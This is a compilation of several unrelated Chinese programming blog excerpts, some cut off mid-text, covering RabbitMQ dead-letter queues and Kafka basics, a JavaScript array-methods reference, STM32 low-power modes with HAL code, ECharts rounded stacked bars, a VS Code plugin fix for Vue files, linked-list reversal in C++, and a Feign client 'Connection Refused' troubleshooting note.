3.信道的原理是一个线程一条通道,多个线程多个通道同用一个tcp链接,一条tcp链接可以容纳无限的信道. 死信队列: 死信交换机:消息成为死信消息后,会被放到新的交换机,这个交换机就是死信交换机 几种情况会成为死信? 1.消费者拒收消息,并且没有重新入队 2.超时未被消费 3.消息队列超过极限 2.Kafka 1.概念:apache软件基金会开发的一个开源流处理平台,kafka是一种高吞吐量的分布式发布订阅消息系统,它可以处理大规模的网站中的所有动作流数据(网页浏览.搜索和其他用户行为),副本集机制,实现数据冗余,保障数据尽量不丢失 支持多个生产者和消费者,不支持批量和广播消息 特点:高吞吐量,低延迟,每秒可以处理几十万消息 高并发:支持几千万客户端同时读写 容错性:多副本,多分区,允许集群中节点失败 扩展性强:支持热扩展 最大优点:单机写入tps约在百万条/s,吞吐量高 kafka2.

JavaScript数组操作方法大全(包含es6)

Array方法大全 方法名称使用简介备注new Array(length)构造函数,定义数组,传入length构造出来的数组只有length,其中对象为emptyArray.of()将一组值转化为数组Array.isArray()判断是否为数组对象Array.from()将伪数组转为数组传入str会将其一个个分割成字符串 传入的对象必须有length属性toString()将数组转为字符串,用,分割arr.join(separate)将数组转为字符串,可以指定分割符arr.push(values)向数组最后一位添加返回推入元素后数组lengtharr.pop()推出数组最后一位元素返回被推出元素arr.shift()删除数组最前面的元素只能删一个,返回值是被删除元素arr.unshift(values)从前面添加元素,可以添加多个返回值是添加后数组lengtharr.reverse()反转数组改变原数组arr.sort(compare)数组排序需要传入compare函数,改变原数组arr.concat(newArr)拼接数组不改变原数组,返回副本arr.sclie(start,end)剪切数组,局部复制不改变原数组,返回副本arr.splice(start,end,element)操作数组改变原数组arr.includes(value)判断元素是否存在数组中返回布尔值arr.copyWithin(index)将制定位置的数组复制到其他位置,会覆盖原数组项,返回当前数组arr.flat(pily)拉平数组,pily表示要拉平的层数arr.flatMap子项拉平arr.indexOf(value)查找元素在数组中第一次出现的位置返回索引值,找不到返回-1arr.lastIndexOf(value)从后向前找返回索引值,找不到返回-1arr.forEach(callback)迭代数组没有返回值arr.some(callback)迭代判断数组中每个元素是否符合callback中return的条件(callback返回值为布尔值),有一项符合就返回true返回布尔值arr.every(callback)迭代判断数组中每个元素是否符合callback中return的条件,全部符合返回truearr.find(callback)迭代判断数组中每个元素是否符合callback中return的条件(callback返回值为布尔值),返回第一个符合条件的元素不同于every,some,返回的是符合条件的第一个元素arr.findIndex(callback)迭代判断数组中每个元素是否符合callback中return的条件(callback返回值为布尔值),返回符合条件的第一个元素索引arr.filter(callback)迭代判断数组中每个元素是否符合callback中return的条件(callback返回值为布尔值),返回符合条件的所有元素索引不同于find,返回的是所有元素arr.map(callback)callback所有返回值作为一个新数组返回不改变原数组reduce(callback(prev,cur))callback可以获取前一个元素和后一个元素fill()填充数组arr.keys()遍历数组键名arr.values()遍历数组键值arr.entries()遍历数组键值以及键名 定义数组 两种方式:字面量,以及new Array new Array new Array(length),这种方式定义的数组是只有空对象的,想要快速填入值要使用fill方法 Array.of 将一组值转换成数组,类似于声明数组 let str = '11' console.log(Array.of(str));//['11'] console.log(new Array(2));//[](length = 2) console.log(Array.of(2));//[2] 数组与字符串 toString() 将数组转为字符串,并且用,分割 let str = [1,2,3,4] console.log(str.toString());//1,2,3,4 Array.from()将伪数组转为数组 es6 将伪数组转为数组,注意需要转化的对象必须要有length属性 /** * Array.from * 将伪数组转为数组,注意需要转化的对象必须要有length属性 * @type {string} */ //转化字符串 let str = '12345' console.log(Array.from(str));//['1', '2', '3', '4', '5'] //转化对象,必须要有length属性 let obj = { 0:'a', 1:'b', length:2 } console.log(Array.from(obj));//['a', 'b'] join将数组转化为字符串,可以指定分割符 let arr = [1,2,3,4,5] console.

STM32物联网项目-低功耗模式

低功耗模式 电源框图 VDD供电区域一般为2V ~ 3.6V,经过电压调节器可降压到1.8V给CPU核心、存储器和内置数字外设供电,为了降低CPU的功耗, 后备供电区域可由电池供电,输入引脚为VBAT STM32各种电源 STM32的低功耗模式 STM32F10xxx有三种低功耗模式: 睡眠模式:Cortex™-M3内核停止,所有外设包括Cortex-M3核心的外设,如NVIC、系统时钟(SysTick)等仍在运行 停止模式:所有的时钟都已停止 待机模式:1.8V电源关闭 模式从上到下功耗越低,但唤醒条件越严格 此外,在运行模式下,可以通过以下方式中的一种降低功耗: 降低系统时钟。时钟频率越慢功耗越低,例如平时使用芯片时的系统时钟频率都是72MHz,这能满足绝大部分外设的要求,但如果是点个流水灯,又想要低功耗,就没必要使用72MHz的,用8M或者更低能运行的话就用低点的,关闭APB和AHB总线上未被使用的外设时钟。 低功耗模式下的自动唤醒(AWU) 低功耗模式下的自动唤醒(AWU)在STM32F1是没有的,在F4是有的,但F1可以通过RTC闹钟事件来唤醒 如下面STM32F4的RTC框图,就有16位的唤醒自动重载寄存器,可以通过设定值来唤醒 实验目标 触摸按键1被按下,则系统进入睡眠模式,点击触摸按键4退出睡眠模式; 触摸按键2被按下,则系统进入停止模式,点击触摸按键4退出停机模式; 触摸按键3被按下,则进入待机模式,通过复位按键退出待机模式; CubeMX配置 按键外部中断的配置,LED灯作系统的指示作用,拉低WIFI模块的使能脚,不然模块会耗电 初始化串口1,用于打印信息 程序 stm32f1xx_hal_pwr.h 下面是进入低功耗模式的三个HAL库函数,可以直接调用 /* Low Power modes configuration functions ************************************/ void HAL_PWR_EnterSTOPMode(uint32_t Regulator, uint8_t STOPEntry); //进入停止模式 void HAL_PWR_EnterSLEEPMode(uint32_t Regulator, uint8_t SLEEPEntry); //进入睡眠模式 void HAL_PWR_EnterSTANDBYMode(void); //进入停机模式 进入或退出睡眠模式 以WFI进入睡眠模式后,是可以通过任意一个中断来唤醒的,这里就需要注意了,平时使用的延时函数HAL_Delay()是以SysTick滴答定时器来作为时基的,并且NVIC中默认已经开启了SysTick的中断,如果直接在主函数中调用HAL_PWR_EnterSLEEPMode函数进入睡眠模式的话,SysTick滴答定时器的中断就会立马唤醒系统,达不到低功耗的效果;所以在进入睡眠模式之前,需要先关闭SysTick的中断 同理,系统中开启的用户中断也要关闭,如定时器,外部中断等,可以留某些中断用于退出睡眠模式 进入睡眠模式函数 这里可以记住几个函数,有个印象,除了定时器其他的平时都少用,但要用的时候又难找 停止SysTick中断函数——HAL_SuspendTick() 停止定时器6中断——HAL_TIM_Base_Stop_IT(&htim6) 关闭外部中断——HAL_NVIC_DisableIRQ(EXTIx_IRQn) 恢复Systick中断——HAL_ResumeTick() 恢复(启动)定时器6中断——HAL_TIM_Base_Start_IT(&htim6) 恢复外部中断——HAL_NVIC_EnableIRQ(EXTIx_IRQn) 进入睡眠模式后,通过触摸按键4,触发外部中断,可退出睡眠模式 /* * @name Enter_Sleep_Mode * @brief 进入睡眠模式 * @param None * @retval None */ static void Enter_Sleep_Mode() { /*注意:任一中断都可以将系统从睡眠模式中唤醒*/ //需要先关闭Systick和定时器6的中断,否则进入睡眠模式后立马被唤醒 HAL_SuspendTick(); //停止Systick中断 HAL_TIM_Base_Stop_IT(&htim6); //停止定时器6中断 //关闭外部中断0至2,只允许触摸按键4外部中断退出睡眠模式 HAL_NVIC_DisableIRQ(EXTI0_IRQn); HAL_NVIC_DisableIRQ(EXTI1_IRQn); HAL_NVIC_DisableIRQ(EXTI2_IRQn); //以WFI进入睡眠模式,可以被任一中断唤醒 HAL_PWR_EnterSLEEPMode(PWR_MAINREGULATOR_ON,PWR_SLEEPENTRY_WFI); //恢复中断 HAL_ResumeTick(); //恢复Systick中断 HAL_TIM_Base_Start_IT(&htim6); //恢复定时器6中断 //恢复外部中断0至2 HAL_NVIC_EnableIRQ(EXTI0_IRQn); HAL_NVIC_EnableIRQ(EXTI1_IRQn); HAL_NVIC_EnableIRQ(EXTI2_IRQn); } 进入睡眠模式函数的参数说明 /** * @brief Enters Sleep mode.

echarts 堆叠柱状图 顶部圆角效果

图表样式需求: 除了最顶端的堆叠块有圆角效果,其余堆叠块保持平角 实现思路: 遍历每根柱条的数据,找到第一块值不为0的元素,为它设置itemStyle:{borderRadius:[4,4,0,0]}属性,其中borderRadius的值代表(左上,右上,右下,左下)区域的圆角大小,可根据项目需求修改 写法一:直接给series设置该属性,会应用到该系列的每一个数据块身上,即堆叠的每一层数据都有圆角效果 series: { name: '分数', type: 'bar', data: [], itemStyle: { barBorderRadius: [4, 4, 0, 0] } }, 写法二: 将itemStyle属性添加到指定data数据中的指定数值里,这样就可以根据需求添加圆角效果啦~ 如下代码就能够实现指定值为20的元素拥有圆角效果. data: [ { value: 20, itemStyle: { barBorderRadius: [4, 4, 0, 0], } },{ value: 10, itemStyle: { barBorderRadius: [0, 0, 0, 0], } }, { value: 20, itemStyle: { barBorderRadius: [4, 4, 0, 0], } } ] 实现顶部圆角效果: 先遍历单个series的data,得到柱条总数;内层循环整个series,从上至下遍历单个series的data数据,不为0则为它设置itemStyle:{borderRadius:[4,4,0,0]}属性,并结束本柱条所有系列的遍历。 // series一次性获取填入数据 series.push({ name: legs[i], type: 'bar', stack: 'x', data: tempNum }); // 设置柱条顶层圆角 for (let i in series[0].

解决vscode Better Comments插件在vue文件中不显示相对应的颜色

最近使用了Better Comments这款插件,发现在ts文件中可以显示对应的颜色,但在vue文件中并不显示对应颜色 解决方法如下: 打开插件的配置文件夹,即 c盘 -> 用户 -> 用户名 -> .vscode文件夹 extensions目录 -> bttter-comments配置文件夹 打开配置文件 aaron-bond.better-comments-3.0.2 -> out -> parser.js 修改配置文件,添加如下代码 case "vue": this.setCommentFormat("//", "/*", "*/") break; 5. 保存代码,重启vscode即可

面试手撕代码——链表反转(递归、迭代)

递归 class Solution { public: ListNode* ReverseList(ListNode* head) { if(!head||!head->next) return head; ListNode* ans = ReverseList(head->next); head->next->next = head; head->next = NULL; return ans; } }; 迭代 class Solution { public: ListNode* ReverseList(ListNode* pHead) { if(!pHead) return NULL; ListNode* pre = NULL,*cur = pHead,*nex = NULL; while(cur){ nex = cur->next; cur->next = pre; pre = cur; cur = nex; } return pre; } };

记录一个FeginClient调不通 报Connection Refused的坑

记录一个FeginClient调不通 报Connection Refused的坑 1.背景 项目开发的时候,有一个微服务,本地Dev环境走FeginClient是可以调通的,但一上测试环境,UAT环境,就一直报Connection Refused,本地无法复现,别的环境又必现,为了赶进度当时就采取直连的方式调用 2.排查过程 我百度查询后,总结了一下,主要有以下几种结果: 2.1、服务未注册 2.2、服务名不一致、eureka注册中心不一致 2.3、注册到eureka上的是hostname,不是IP+端口号 2.4、多网卡导致eureka注册的IP问题 2.5、服务器该端口是否能通讯,是否被防火墙拦截 按以上的都试过,还是报Connection Refused,实在没办法了,想到Dev环境是可以直接走服务名调用的,我把Dev和测试环境 eureka的配置拿出来比较,发现了测试环境多了下面一行配置 eureka.instance.non-secure-port=80 我立马拉去百度了一下 而且eureka.instance.non-secure-port-enabled 这一配置默认值为true,从这里可以看出调用FeginClient是走80端口,而不是服务启动的端口号,eureka注册中心拿到的是服务启动端口,但微服务有指定了80端口才能被FeginClient调用,所以就会报Connection Refused 本地Dev加上这一配置,直接复现 3.解决方案 方案一:去掉 eureka.instance.non-secure-port=80这一项配置 方案二:eureka.instance.non-secure-port=你服务启动的端口号 方案一本人已试过,方案二未尝试(欢迎其他小伙伴试一下)